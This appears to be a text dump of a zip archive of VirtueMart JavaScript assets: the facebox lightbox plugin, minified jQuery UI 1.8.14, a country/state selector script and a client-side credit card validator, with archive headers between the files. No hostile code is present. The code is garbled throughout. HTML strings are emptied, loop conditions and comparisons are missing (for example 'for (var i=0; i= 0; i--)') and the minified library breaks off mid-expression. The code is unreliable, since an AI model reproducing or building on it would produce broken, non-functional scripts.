klass) else if ($.isFunction(data)) data.call($) else $.facebox.reveal(data, klass) } /* * Public, $.facebox methods */ $.extend($.facebox, { settings: { opacity : 0.6, overlay : true, loadingImage : '/components/com_virtuemart/assets/images/facebox/loading.gif', closeImage : '/components/com_virtuemart/assets/images/facebox/closelabel.png', imageTypes : [ 'png', 'jpg', 'jpeg', 'gif' ], faceboxHtml : '\ ' }, loading: function() { init() if ($('#facebox .loading').length == 1) return true showOverlay() $('#facebox .content').empty() $('#facebox .body').children().hide().end(). append('
      ') // $('#facebox').css({ // top: 100 , // getPageScroll()[1] + (getPageHeight() / 10), // left: $(window).width() / 2 - 205 // }).show() $('#facebox').css({ top: getPageScroll()[1] + ($(window).height() / 10), left: ($(window).width() - $('#facebox').width()) / 2 }).show() $(document).bind('keydown.facebox', function(e) { if (e.keyCode == 27) $.facebox.close() return true }) $(document).trigger('loading.facebox') }, reveal: function(data, klass) { $(document).trigger('beforeReveal.facebox') if (klass) $('#facebox .content').addClass(klass) $('#facebox .content').append(data) $('#facebox .loading').remove() $('#facebox .body').children().fadeIn('normal') $('#facebox').css('left', $(window).width() / 2 - ($('#facebox .popup').width() / 2)) $(document).trigger('reveal.facebox').trigger('afterReveal.facebox') }, close: function() { $(document).trigger('close.facebox') return false } }) /* * Public, $.fn methods */ $.fn.facebox = function(settings) { if ($(this).length == 0) return init(settings) function clickHandler() { $.facebox.loading(true) // support for rel="facebox.inline_popup" syntax, to add a class // also supports deprecated "facebox[.inline_popup]" syntax var klass = this.rel.match(/facebox\[?\.(\w+)\]?/) if (klass) klass = klass[1] fillFaceboxFromHref(this.href, klass, this.rev) return false } return this.bind('click.facebox', clickHandler) } /* * Private methods */ // called one time to setup facebox on this page function init(settings) { if ($.facebox.settings.inited) return true else $.facebox.settings.inited = true $(document).trigger('init.facebox') makeCompatible() var imageTypes = $.facebox.settings.imageTypes.join('|') $.facebox.settings.imageTypesRegexp = new RegExp('\.(' + imageTypes + ')$', 'i') if (settings) $.extend($.facebox.settings, settings) $('body').append($.facebox.settings.faceboxHtml) var preload = [ new Image(), new Image() ] preload[0].src = $.facebox.settings.closeImage preload[1].src = $.facebox.settings.loadingImage $('#facebox').find('.b:first, .bl').each(function() { preload.push(new Image()) preload.slice(-1).src = $(this).css('background-image').replace(/url\((.+)\)/, '$1') }) $('#facebox .close').click($.facebox.close) $('#facebox .close_image').attr('src', $.facebox.settings.closeImage) } // getPageScroll() by quirksmode.com function getPageScroll() { var xScroll, yScroll; if (self.pageYOffset) { yScroll = self.pageYOffset; xScroll = self.pageXOffset; } else if (document.documentElement && document.documentElement.scrollTop) { // Explorer 6 Strict yScroll = document.documentElement.scrollTop; xScroll = document.documentElement.scrollLeft; } else if (document.body) {// all other Explorers yScroll = document.body.scrollTop; xScroll = document.body.scrollLeft; } return new Array(xScroll,yScroll) } // Adapted from getPageSize() by quirksmode.com function getPageHeight() { var windowHeight if (self.innerHeight) { // all except Explorer windowHeight = self.innerHeight; } else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode windowHeight = document.documentElement.clientHeight; } else if (document.body) { // other Explorers windowHeight = document.body.clientHeight; } return windowHeight } // Backwards compatibility function makeCompatible() { var $s = $.facebox.settings $s.loadingImage = $s.loading_image || $s.loadingImage $s.closeImage = $s.close_image || $s.closeImage $s.imageTypes = $s.image_types || $s.imageTypes $s.faceboxHtml = $s.facebox_html || $s.faceboxHtml } // Figures out what you want to display and displays it // formats are: // div: #id // image: blah.extension // ajax: anything else function fillFaceboxFromHref(href, klass, rev ) { // div if (href.match(/#/)) { var url = window.location.href.split('#')[0] var target = href.replace(url,'') if (target == '#') return $.facebox.reveal($(target).html(), klass) // iframe } else if (rev.split('|')[0] == 'iframe') { fillFaceboxFromIframe(href, klass, rev.split('|')[1],rev.split('|')[2]) // image } else if (href.match($.facebox.settings.imageTypesRegexp)) { fillFaceboxFromImage(href, klass) // ajax } else { fillFaceboxFromAjax(href, klass) } } function fillFaceboxFromIframe(href, klass, height, width) { $.facebox.reveal('', klass) } function fillFaceboxFromImage(href, klass) { var image = new Image() image.onload = function() { $.facebox.reveal('
      ', klass) } image.src = href } function fillFaceboxFromText(text, klass) { $.facebox.reveal('
      '+ text + '
      ', klass) } function fillFaceboxFromAjax(href, klass) { $.get(href, function(data) { $.facebox.reveal(data, klass) }) } function skipOverlay() { return $.facebox.settings.overlay == false || $.facebox.settings.opacity === null } function showOverlay() { if (skipOverlay()) return if ($('#facebox_overlay').length == 0) $("body").append('
      ') $('#facebox_overlay').hide().addClass("facebox_overlayBG") .css('opacity', $.facebox.settings.opacity) .click(function() { $(document).trigger('close.facebox') }) .fadeIn(200) return false } function hideOverlay() { if (skipOverlay()) return $('#facebox_overlay').fadeOut(200, function(){ $("#facebox_overlay").removeClass("facebox_overlayBG") $("#facebox_overlay").addClass("facebox_hide") $("#facebox_overlay").remove() }) return false } /* * Bindings */ $(document).bind('close.facebox', function() { $(document).unbind('keydown.facebox') $('#facebox').fadeOut(function() { $('#facebox .content').removeClass().addClass('content') $('#facebox .loading').remove() $(document).trigger('afterClose.facebox') }) hideOverlay() }) $(document).bind('afterReveal.facebox', function() { var windowHeight = $(window).height(); var faceboxHeight = $('#facebox').height(); if(faceboxHeight < windowHeight) { var scrolltop = $(window).scrollTop(); var top = Math.floor((windowHeight - faceboxHeight) / 2) + scrolltop; $('#facebox').css('top', (top)); } else { $('#facebox').css('top',$(window).scrollTop() ); } }); })(jQuery); PKGy>\Wc.com_virtuemart/assets/js/jquery.ui.core.min.jsnuW+A/*! * jQuery UI 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI */ (function(c,j){function k(a,b){var d=a.nodeName.toLowerCase();if("area"===d){b=a.parentNode;d=b.name;if(!a.href||!d||b.nodeName.toLowerCase()!=="map")return false;a=c("img[usemap=#"+d+"]")[0];return!!a&&l(a)}return(/input|select|textarea|button|object/.test(d)?!a.disabled:"a"==d?a.href||b:b)&&l(a)}function l(a){return!c(a).parents().andSelf().filter(function(){return c.curCSS(this,"visibility")==="hidden"||c.expr.filters.hidden(this)}).length}c.ui=c.ui||{};if(!c.ui.version){c.extend(c.ui,{version:"1.8.14", keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});c.fn.extend({_focus:c.fn.focus,focus:function(a,b){return typeof a==="number"?this.each(function(){var d=this;setTimeout(function(){c(d).focus(); b&&b.call(d)},a)}):this._focus.apply(this,arguments)},scrollParent:function(){var a;a=c.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(c.curCSS(this,"position",1))&&/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this, "overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!a.length?c(document):a},zIndex:function(a){if(a!==j)return this.css("zIndex",a);if(this.length){a=c(this[0]);for(var b;a.length&&a[0]!==document;){b=a.css("position");if(b==="absolute"||b==="relative"||b==="fixed"){b=parseInt(a.css("zIndex"),10);if(!isNaN(b)&&b!==0)return b}a=a.parent()}}return 0},disableSelection:function(){return this.bind((c.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection", function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});c.each(["Width","Height"],function(a,b){function d(f,g,m,n){c.each(e,function(){g-=parseFloat(c.curCSS(f,"padding"+this,true))||0;if(m)g-=parseFloat(c.curCSS(f,"border"+this+"Width",true))||0;if(n)g-=parseFloat(c.curCSS(f,"margin"+this,true))||0});return g}var e=b==="Width"?["Left","Right"]:["Top","Bottom"],h=b.toLowerCase(),i={innerWidth:c.fn.innerWidth,innerHeight:c.fn.innerHeight,outerWidth:c.fn.outerWidth, outerHeight:c.fn.outerHeight};c.fn["inner"+b]=function(f){if(f===j)return i["inner"+b].call(this);return this.each(function(){c(this).css(h,d(this,f)+"px")})};c.fn["outer"+b]=function(f,g){if(typeof f!=="number")return i["outer"+b].call(this,f);return this.each(function(){c(this).css(h,d(this,f,true,g)+"px")})}});c.extend(c.expr[":"],{data:function(a,b,d){return!!c.data(a,d[3])},focusable:function(a){return k(a,!isNaN(c.attr(a,"tabindex")))},tabbable:function(a){var b=c.attr(a,"tabindex"),d=isNaN(b); return(d||b>=0)&&k(a,!d)}});c(function(){var a=document.body,b=a.appendChild(b=document.createElement("div"));c.extend(b.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});c.support.minHeight=b.offsetHeight===100;c.support.selectstart="onselectstart"in b;a.removeChild(b).style.display="none"});c.extend(c.ui,{plugin:{add:function(a,b,d){a=c.ui[a].prototype;for(var e in d){a.plugins[e]=a.plugins[e]||[];a.plugins[e].push([b,d[e]])}},call:function(a,b,d){if((b=a.plugins[b])&&a.element[0].parentNode)for(var e= 0;e0)return true;a[b]=1;d=a[b]>0;a[b]=0;return d},isOverAxis:function(a,b,d){return a>b&&a\^ZZX "com_virtuemart/assets/js/vmsite.jsnuW+A/** * list country.js: General Javascript Library for VirtueMart Administration * * * @package VirtueMart * @subpackage Javascript Library * @author Patrick Kohl * @copyright Copyright (c) 2011VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL */ (function($){ var undefined, methods = { list: function(options) { var dest = options.dest; var ids = options.ids; var prefix = options.prefiks; methods.update(this,dest,ids,prefix); $(this).change( function() { methods.update(this,dest,ids,prefix)}); }, update: function(org,dest,ids,prefix) { var opt = $(org), optValues = opt.val() || [], byAjax = [] ; if (!$.isArray(optValues)) optValues = jQuery.makeArray(optValues); if ( typeof oldValues !== "undefined") { //remove if not in optValues $.each(oldValues, function(key, oldValue) { if ( ($.inArray( oldValue, optValues )) < 0 ) $("#"+prefix+"group"+oldValue).remove(); }); } //push in 'byAjax' values and do it in ajax $.each(optValues, function(optkey, optValue) { if( opt.data( 'd'+optValue) === undefined ) byAjax.push( optValue ); }); if (byAjax.length >0) { $.getJSON('index.php?option=com_virtuemart&view=state&format=json&virtuemart_country_id=' + byAjax, function(result){ // Max Bitte Testen var virtuemart_state_id = $('#'+prefix+'virtuemart_state_id'); var status = virtuemart_state_id.attr('required'); if(status == 'required') { if( result[byAjax].length > 0 ) { virtuemart_state_id.attr('required','required'); } else { virtuemart_state_id.removeAttr('required'); } } // ENDE $.each(result, function(key, value) { if (value.length >0) { opt.data( 'd'+key, value ); } else { opt.data( 'd'+key, 0 ); } }); methods.addToList(opt,optValues,dest,prefix); if ( typeof ids !== "undefined") { var states = ids.length ? ids.split(',') : [] ; $.each(states, function(k,id) { $(dest).find('[value='+id+']').attr("selected","selected"); }); } $(dest).trigger("liszt:updated"); } ); } else { methods.addToList(opt,optValues,dest,prefix) $(dest).trigger("liszt:updated"); } oldValues = optValues ; }, addToList: function(opt,values,dest,prefix) { $.each(values, function(dataKey, dataValue) { var groupExist = $("#"+prefix+"group"+dataValue+"").size(); if ( ! groupExist ) { var datas = opt.data( 'd'+dataValue ); if (datas.length >0) { var label = opt.find("option[value='"+dataValue+"']").text(); var group =''; $.each( datas , function( key, value) { if (value) group +=''; }); group += ''; $(dest).append(group); } } }); } }; $.fn.vm2front = function( method ) { if ( methods[method] ) { return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 )); } else if ( typeof method === 'object' || ! method ) { return methods.init.apply( this, arguments ); } else { $.error( 'Method ' + method + ' does not exist on Vm2 front jQuery library' ); } }; })(jQuery) PKGy>\^cWh$$(com_virtuemart/assets/js/vmcreditcard.jsnuW+A/*================================================================================================*/ /* * * donwloaded from http://www.braemoor.co.uk/software/creditcard.shtml * adapted by Valerie Isaksen * */ /* This routine checks the credit card number. The following checks are made: 1. A number has been provided 2. The number is a right length for the card 3. The number has an appropriate prefix for the card 4. The number has a valid modulus 10 number check digit if required If the validation fails an error is reported. The structure of credit card formats was gleaned from a variety of sources on the web, although the best is probably on Wikepedia ("Credit card number"): http://en.wikipedia.org/wiki/Credit_card_number Parameters: cardnumber number on the card cardname name of card as defined in the card list below Author: John Gardner Date: 1st November 2003 Updated: 26th Feb. 2005 Additional cards added by request Updated: 27th Nov. 2006 Additional cards added from Wikipedia Updated: 18th Jan. 2008 Additional cards added from Wikipedia Updated: 26th Nov. 2008 Maestro cards extended Updated: 19th Jun. 2009 Laser cards extended from Wikipedia Updated: 11th Sep. 2010 Typos removed from Diners and Solo definitions (thanks to Noe Leon) Updated: 10th April 2012 New matches for Maestro, Diners Enroute and Switch Updated: 17th October 2012 Diners Club prefix 38 not encoded */ /* If a credit card number is invalid, an error reason is loaded into the global ccErrorNo variable. This can be be used to index into the global error string array to report the reason to the user if required: e.g. if (!checkCreditCard (number, name) alert (ccErrors(ccErrorNo); */ var ccErrorNo = 0; /*************************************************************************\ boolean isExpiryDate([int year, int month]) return true if the date is a valid expiry date, else return false. \*************************************************************************/ function CreditCardisExpiryDate(month, year,paymentmethod_id) { document.getElementById("cc_expiredate_errormsg_"+paymentmethod_id).style.display="none"; document.getElementById("cc_expiredate_errormsg_"+paymentmethod_id).innerHTML =''; today = new Date(); expiry = new Date(year, month); if (today.getTime() > expiry.getTime()) { var error_msg = ccErrors [5] ; document.getElementById("cc_expiredate_errormsg_"+ paymentmethod_id).style.display="block"; document.getElementById("cc_expiredate_errormsg_"+ paymentmethod_id).innerHTML =error_msg; return false; } else return true; } function CheckCreditCardNumber(cardnumber, paymentmethod_id){ for (cardType = 0; cardType < 13 ; cardType++) { if(checkCreditCard(cardnumber,cardType)){ return true; } } var error_msg = ccErrors [ccErrorNo] ; document.getElementById("cc_cardnumber_errormsg_"+ paymentmethod_id).style.display="block"; document.getElementById("cc_cardnumber_errormsg_"+ paymentmethod_id).innerHTML =error_msg; return false; } function razCCerror(paymentmethod_id){ document.getElementById("cc_cardnumber_errormsg_" + paymentmethod_id).style.display="none"; document.getElementById("cc_cardnumber_errormsg_" + paymentmethod_id).innerHTML =''; return true; } function checkCreditCard (cardnumber, cardname) { // Array to hold the permitted card characteristics var cards = new Array(); // Define the cards we support. You may add addtional card types as follows. // Name: As in the selection box of the form - must be same as user's // Length: List of possible valid lengths of the card number for the card // prefixes: List of possible prefixes for the card // checkdigit: Boolean to say whether there is a check digit cards [0] = {name: "Visa", length: "13,16", prefixes: "4", checkdigit: true}; cards [1] = {name: "MasterCard", length: "16", prefixes: "51,52,53,54,55", checkdigit: true}; cards [2] = {name: "DinersClub", length: "14,16", prefixes: "36,38,54,55", checkdigit: true}; cards [3] = {name: "CarteBlanche", length: "14", prefixes: "300,301,302,303,304,305", checkdigit: true}; cards [4] = {name: "AmEx", length: "15", prefixes: "34,37", checkdigit: true}; cards [5] = {name: "Discover", length: "16", prefixes: "6011,622,64,65", checkdigit: true}; cards [6] = {name: "JCB", length: "16", prefixes: "35", checkdigit: true}; cards [7] = {name: "enRoute", length: "15", prefixes: "2014,2149", checkdigit: true}; cards [8] = {name: "Solo", length: "16,18,19", prefixes: "6334,6767", checkdigit: true}; cards [9] = {name: "Switch", length: "16,18,19", prefixes: "4903,4905,4911,4936,564182,633110,6333,6759", checkdigit: true}; cards [10] = {name: "Maestro", length: "12,13,14,15,16,18,19", prefixes: "5018,5020,5038,6304,6759,6761,6762,6763", checkdigit: true}; cards [11] = {name: "VisaElectron", length: "16", prefixes: "4026,417500,4508,4844,4913,4917", checkdigit: true}; cards [12] = {name: "LaserCard", length: "16,17,18,19", prefixes: "6304,6706,6771,6709", checkdigit: true}; // Establish card type var cardType = -1; for (var i=0; i= 0; i--) { // Extract the next digit and multiply by 1 or 2 on alternative digits. calc = Number(cardNo.charAt(i)) * j; // If the result is in two digits add 1 to the checksum total if (calc > 9) { checksum = checksum + 1; calc = calc - 10; } // Add the units element to the checksum total checksum = checksum + calc; // Switch the value of j if (j ==1) {j = 2} else {j = 1}; } // All done - if checksum is divisible by 10, it is a valid modulus 10. // If not, report an error. if (checksum % 10 != 0) { ccErrorNo = 3; return false; } } // Check it's not a spam number if (cardNo == '5490997771092064') { ccErrorNo = 5; return false; } // The following are the card-specific checks we undertake. var LengthValid = false; var PrefixValid = false; var undefined; // We use these for holding the valid lengths and prefixes of a card type var prefix = new Array (); var lengths = new Array (); // Load an array with the valid prefixes for this card prefix = cards[cardType].prefixes.split(","); // Now see if any of them match what we have in the card number for (i=0; i\n)com_virtuemart/assets/js/jquery-ui.min.jsnuW+A/*! * jQuery UI 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI */ (function(a,d){function c(h,g){var i=h.nodeName.toLowerCase();if("area"===i){g=h.parentNode;i=g.name;if(!h.href||!i||g.nodeName.toLowerCase()!=="map")return false;h=a("img[usemap=#"+i+"]")[0];return!!h&&e(h)}return(/input|select|textarea|button|object/.test(i)?!h.disabled:"a"==i?h.href||g:g)&&e(h)}function e(h){return!a(h).parents().andSelf().filter(function(){return a.curCSS(this,"visibility")==="hidden"||a.expr.filters.hidden(this)}).length}a.ui=a.ui||{};if(!a.ui.version){a.extend(a.ui,{version:"1.8.14", keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});a.fn.extend({_focus:a.fn.focus,focus:function(h,g){return typeof h==="number"?this.each(function(){var i=this;setTimeout(function(){a(i).focus(); g&&g.call(i)},h)}):this._focus.apply(this,arguments)},scrollParent:function(){var h;h=a.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(a.curCSS(this,"position",1))&&/(auto|scroll)/.test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(a.curCSS(this,"overflow",1)+a.curCSS(this, "overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!h.length?a(document):h},zIndex:function(h){if(h!==d)return this.css("zIndex",h);if(this.length){h=a(this[0]);for(var g;h.length&&h[0]!==document;){g=h.css("position");if(g==="absolute"||g==="relative"||g==="fixed"){g=parseInt(h.css("zIndex"),10);if(!isNaN(g)&&g!==0)return g}h=h.parent()}}return 0},disableSelection:function(){return this.bind((a.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection", function(h){h.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});a.each(["Width","Height"],function(h,g){function i(l,o,n,k){a.each(b,function(){o-=parseFloat(a.curCSS(l,"padding"+this,true))||0;if(n)o-=parseFloat(a.curCSS(l,"border"+this+"Width",true))||0;if(k)o-=parseFloat(a.curCSS(l,"margin"+this,true))||0});return o}var b=g==="Width"?["Left","Right"]:["Top","Bottom"],f=g.toLowerCase(),j={innerWidth:a.fn.innerWidth,innerHeight:a.fn.innerHeight,outerWidth:a.fn.outerWidth, outerHeight:a.fn.outerHeight};a.fn["inner"+g]=function(l){if(l===d)return j["inner"+g].call(this);return this.each(function(){a(this).css(f,i(this,l)+"px")})};a.fn["outer"+g]=function(l,o){if(typeof l!=="number")return j["outer"+g].call(this,l);return this.each(function(){a(this).css(f,i(this,l,true,o)+"px")})}});a.extend(a.expr[":"],{data:function(h,g,i){return!!a.data(h,i[3])},focusable:function(h){return c(h,!isNaN(a.attr(h,"tabindex")))},tabbable:function(h){var g=a.attr(h,"tabindex"),i=isNaN(g); return(i||g>=0)&&c(h,!i)}});a(function(){var h=document.body,g=h.appendChild(g=document.createElement("div"));a.extend(g.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});a.support.minHeight=g.offsetHeight===100;a.support.selectstart="onselectstart"in g;h.removeChild(g).style.display="none"});a.extend(a.ui,{plugin:{add:function(h,g,i){h=a.ui[h].prototype;for(var b in i){h.plugins[b]=h.plugins[b]||[];h.plugins[b].push([g,i[b]])}},call:function(h,g,i){if((g=h.plugins[g])&&h.element[0].parentNode)for(var b= 0;b0)return true;h[g]=1;i=h[g]>0;h[g]=0;return i},isOverAxis:function(h,g,i){return h>g&&h=9)&&!c.button)return this._mouseUp(c);if(this._mouseStarted){this._mouseDrag(c);return c.preventDefault()}if(this._mouseDistanceMet(c)&&this._mouseDelayMet(c))(this._mouseStarted=this._mouseStart(this._mouseDownEvent,c)!==false)?this._mouseDrag(c):this._mouseUp(c);return!this._mouseStarted},_mouseUp:function(c){a(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted= false;c.target==this._mouseDownEvent.target&&a.data(c.target,this.widgetName+".preventClickEvent",true);this._mouseStop(c)}return false},_mouseDistanceMet:function(c){return Math.max(Math.abs(this._mouseDownEvent.pageX-c.pageX),Math.abs(this._mouseDownEvent.pageY-c.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return true}})})(jQuery); (function(a){a.widget("ui.draggable",a.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:true,appendTo:"parent",axis:false,connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false},_create:function(){if(this.options.helper== "original"&&!/^(?:r|a|f)/.test(this.element.css("position")))this.element[0].style.position="relative";this.options.addClasses&&this.element.addClass("ui-draggable");this.options.disabled&&this.element.addClass("ui-draggable-disabled");this._mouseInit()},destroy:function(){if(this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy();return this}},_mouseCapture:function(d){var c= this.options;if(this.helper||c.disabled||a(d.target).is(".ui-resizable-handle"))return false;this.handle=this._getHandle(d);if(!this.handle)return false;a(c.iframeFix===true?"iframe":c.iframeFix).each(function(){a('
      ').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1E3}).css(a(this).offset()).appendTo("body")});return true},_mouseStart:function(d){var c=this.options;this.helper= this._createHelper(d);this._cacheHelperProportions();if(a.ui.ddmanager)a.ui.ddmanager.current=this;this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.positionAbs=this.element.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};a.extend(this.offset,{click:{left:d.pageX-this.offset.left,top:d.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}); this.originalPosition=this.position=this._generatePosition(d);this.originalPageX=d.pageX;this.originalPageY=d.pageY;c.cursorAt&&this._adjustOffsetFromHelper(c.cursorAt);c.containment&&this._setContainment();if(this._trigger("start",d)===false){this._clear();return false}this._cacheHelperProportions();a.ui.ddmanager&&!c.dropBehaviour&&a.ui.ddmanager.prepareOffsets(this,d);this.helper.addClass("ui-draggable-dragging");this._mouseDrag(d,true);a.ui.ddmanager&&a.ui.ddmanager.dragStart(this,d);return true}, _mouseDrag:function(d,c){this.position=this._generatePosition(d);this.positionAbs=this._convertPositionTo("absolute");if(!c){c=this._uiHash();if(this._trigger("drag",d,c)===false){this._mouseUp({});return false}this.position=c.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis||this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";a.ui.ddmanager&&a.ui.ddmanager.drag(this,d);return false},_mouseStop:function(d){var c= false;if(a.ui.ddmanager&&!this.options.dropBehaviour)c=a.ui.ddmanager.drop(this,d);if(this.dropped){c=this.dropped;this.dropped=false}if((!this.element[0]||!this.element[0].parentNode)&&this.options.helper=="original")return false;if(this.options.revert=="invalid"&&!c||this.options.revert=="valid"&&c||this.options.revert===true||a.isFunction(this.options.revert)&&this.options.revert.call(this.element,c)){var e=this;a(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration, 10),function(){e._trigger("stop",d)!==false&&e._clear()})}else this._trigger("stop",d)!==false&&this._clear();return false},_mouseUp:function(d){this.options.iframeFix===true&&a("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)});a.ui.ddmanager&&a.ui.ddmanager.dragStop(this,d);return a.ui.mouse.prototype._mouseUp.call(this,d)},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(d){var c=!this.options.handle|| !a(this.options.handle,this.element).length?true:false;a(this.options.handle,this.element).find("*").andSelf().each(function(){if(this==d.target)c=true});return c},_createHelper:function(d){var c=this.options;d=a.isFunction(c.helper)?a(c.helper.apply(this.element[0],[d])):c.helper=="clone"?this.element.clone().removeAttr("id"):this.element;d.parents("body").length||d.appendTo(c.appendTo=="parent"?this.element[0].parentNode:c.appendTo);d[0]!=this.element[0]&&!/(fixed|absolute)/.test(d.css("position"))&& d.css("position","absolute");return d},_adjustOffsetFromHelper:function(d){if(typeof d=="string")d=d.split(" ");if(a.isArray(d))d={left:+d[0],top:+d[1]||0};if("left"in d)this.offset.click.left=d.left+this.margins.left;if("right"in d)this.offset.click.left=this.helperProportions.width-d.right+this.margins.left;if("top"in d)this.offset.click.top=d.top+this.margins.top;if("bottom"in d)this.offset.click.top=this.helperProportions.height-d.bottom+this.margins.top},_getParentOffset:function(){this.offsetParent= this.helper.offsetParent();var d=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])){d.left+=this.scrollParent.scrollLeft();d.top+=this.scrollParent.scrollTop()}if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)d={top:0,left:0};return{top:d.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:d.left+(parseInt(this.offsetParent.css("borderLeftWidth"), 10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var d=this.element.position();return{top:d.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:d.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"), 10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var d=this.options;if(d.containment=="parent")d.containment=this.helper[0].parentNode;if(d.containment=="document"||d.containment=="window")this.containment=[d.containment=="document"?0:a(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,d.containment=="document"?0:a(window).scrollTop()-this.offset.relative.top-this.offset.parent.top, (d.containment=="document"?0:a(window).scrollLeft())+a(d.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(d.containment=="document"?0:a(window).scrollTop())+(a(d.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(d.containment)&&d.containment.constructor!=Array){d=a(d.containment);var c=d[0];if(c){d.offset();var e=a(c).css("overflow")!= "hidden";this.containment=[(parseInt(a(c).css("borderLeftWidth"),10)||0)+(parseInt(a(c).css("paddingLeft"),10)||0),(parseInt(a(c).css("borderTopWidth"),10)||0)+(parseInt(a(c).css("paddingTop"),10)||0),(e?Math.max(c.scrollWidth,c.offsetWidth):c.offsetWidth)-(parseInt(a(c).css("borderLeftWidth"),10)||0)-(parseInt(a(c).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(c.scrollHeight,c.offsetHeight):c.offsetHeight)-(parseInt(a(c).css("borderTopWidth"), 10)||0)-(parseInt(a(c).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom];this.relative_container=d}}else if(d.containment.constructor==Array)this.containment=d.containment},_convertPositionTo:function(d,c){if(!c)c=this.position;d=d=="absolute"?1:-1;var 